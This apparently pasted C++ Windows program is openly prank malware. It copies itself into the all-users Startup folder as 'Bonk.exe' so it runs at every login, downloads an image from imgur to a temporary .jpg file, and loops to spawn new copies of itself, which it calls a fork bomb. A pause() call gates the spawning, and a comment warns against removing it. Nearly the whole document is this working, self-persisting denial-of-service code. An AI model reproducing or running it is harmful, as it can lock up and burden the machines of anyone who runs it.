1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58
|
#include <iostream>
#include <cstdio>
#include <windows.h>
void pause()
{
std::cin.sync();
std::cin.ignore();
}
typedef HRESULT (*FunctionDef)(LPVOID, LPCTSTR, LPCTSTR, DWORD, LPVOID);
int main(int argv, char* argc[])
{
STARTUPINFO si;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
PROCESS_INFORMATION pi;
ZeroMemory(&pi, sizeof(pi));
bool ThisIsAForkBomb = true;
char Profile[MAX_PATH];
GetEnvironmentVariable("ALLUSERSPROFILE", Profile, MAX_PATH);
char CurrentPath[MAX_PATH];
GetCurrentDirectory(MAX_PATH, CurrentPath);
char TempName[MAX_PATH];
char FilePath[MAX_PATH];
GetTempFileName(CurrentPath, "tmp", 0, TempName);
sprintf(TempName, "%s%s", TempName, ".jpg");
sprintf(FilePath, "\"%s\"", argc[0]);
FunctionDef URLDownloadToFile = (FunctionDef) GetProcAddress(LoadLibrary("C:\\Windows\\system32\\urlmon.dll"), "URLDownloadToFileA");
/*This Is In Case You're Using MingW Which Lacks This DLL's Import Library*/
std::string Startup = (std::string)Profile + "\\Start Menu\\Programs\\Startup\\Bonk.exe";
URLDownloadToFile(NULL, "http://i.imgur.com/F27GrlO.jpg", TempName, 0, NULL);
CopyFile(argc[0], Startup.c_str(), TRUE);
/*Pay Attention To What This Copy Function Is Doing*/
while(ThisIsAForkBomb)
{
pause();
/*If You Run This With The Above Function, "pause()", Commented Out Do Not Come Crying To Me*/
if(!CreateProcess(NULL, FilePath, NULL, NULL, FALSE, /*CREATE_NO_WINDOW*/CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi))
{
std::cout << GetLastError();
}
}
pause();
return 0;
}
|